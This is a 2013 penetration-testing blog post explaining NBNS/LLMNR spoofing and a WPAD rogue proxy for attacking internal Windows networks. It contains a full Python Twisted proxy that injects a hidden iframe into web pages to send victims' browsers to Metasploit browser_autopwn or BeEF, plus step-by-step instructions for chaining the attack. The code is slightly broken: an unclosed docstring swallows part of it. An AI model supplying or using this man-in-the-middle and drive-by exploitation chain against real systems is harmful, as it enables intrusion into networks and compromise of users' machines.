Wednesday, October 2, 2013

Path to Domain Admin: Browser exploitation using Rogue Proxy and NBNS and LLMNR spoofing

SpiderLabs wrote an interesting post on the top 5 ways to get domain admin during an internal penetration testing. This post list methods that allow to have the first foot into the door when we are faced with network access but no valid credentials or machine access.

The most common and the most effective is the 1st one on their list, NBNS and LLMNR poisoning, and it has been extensively discussed in several blog post:

To cite a few good reads:

The power of this technique resides on the ease to crack NetLM hashes with a known challenge (usually 1122334455667788) using rainbow tables.

With the uprise of NTLMv2, this technique is becoming more and more obsolete as NetLMv2 is disabled and in NTLMv2 the attacker can no longer force the challenge to perform rainbow table cracking.

  Client<-Server:  SC
  Client->Server:  H(P,SC)
  Server->DomCntl: H(P,SC), SC
  Server<-DomCntl: yes or no

  Client<-Server:  SC
  Client->Server:  H(P,H'(SC,CC)), CC
  Server->DomCntl: H(P,H'(SC,CC)), H'(SC,CC)
  Server<-DomCntl: yes or no
NTLMv2 uses two challenges before sending the hash to the domain controller, one set by the client and the second by the server as you can see in the diagram.

NBNS and LLMNR spoofing can still be used to performed other attacks, like setting a rogue Proxy using WPAD and doing MitM attack to access session cookies and secret parameters.

This has also been discussed before and has been used by know malware like Flame:

This attack can be enhanced to have remote execution instead of simple MitM by performing Proxy injection.

The principle is very simple, the capacity to intercept HTTP requests through the Proxy allows the attacker to inject anything, and potentially inject Browser exploits.

A simple application of this principle consists of injecting an invisible iframe that will point to Metasploit's Browser Autopwn for example or to BeEF Browser exploitation framework.

To demonstrate this attack, I have created a small Python Proxy using twisted API that injects the iframe when response is received or sends a custom HTML page when the proxy couldn't retrieve the requested page.

from twisted.web import proxy, http
from twisted.internet import reactor
from twisted.python import log
import sys

#change IP and URL here
frame = '<iframe style="visibility:hidden;display:none" src=""></iframe>'

class ProxyClient(proxy.ProxyClient):
    """Mange returned header, content here.

    Use `self.father` methods to modify request directly.
    def handleHeader(self, key, value):
       log.msg("Header %s : %s" % (key, value))
       if key == "Content-Length":
           value = str(int(value) + len(frame))
       proxy.ProxyClient.handleHeader(self, key, value)

    def handleResponsePart(self, buffer):
        log.msg("Content: \n%s" % buffer)
        proxy.ProxyClient.handleResponsePart(self, buffer.replace('<body>','<body>'+frame))

class ProxyClientFactory(proxy.ProxyClientFactory):
    protocol = ProxyClient

    def clientConnectionFailed(self, connector, reason):
        log.msg("Couldn't connect ...")
        #in case the URL is not found, inject here a cutom response
        self.father.transport.write("HTTP/1.0 200 OK\r\n")
        self.father.transport.write("Content-Type: text/html\r\n")

class ProxyRequest(proxy.ProxyRequest):
    protocols = dict(http=ProxyClientFactory)

class Proxy(proxy.Proxy):
    requestFactory = ProxyRequest

class ProxyFactory(http.HTTPFactory):
    protocol = Proxy

factory = ProxyFactory()
#change proxy port here
reactor.listenTCP(9999, factory, interface = '')

The code is only a PoC and has been serving my purpose, but there is a room for improvement to integrate support for HTTPS and make it more user friendly.

So to perform the attack, let's assume our IP address is

  1. Enable NBNS and LLMNR spoofing using Metasploit with SPOOFIP as
  2. Run WPAD server on Metasploit on port 80 setting the proxy as
  3. Run Metasploit browser_autopwn or a specific browser exploit on port 7777 at URL '/exploit' (the same principle applies for BeEF)
  4. Run the Rogue Proxy ... and wait !

These port numbers and IP address are hard-coded in the script, changes are therefore necessary to suit your own environment.

Good hacking !

1 comment: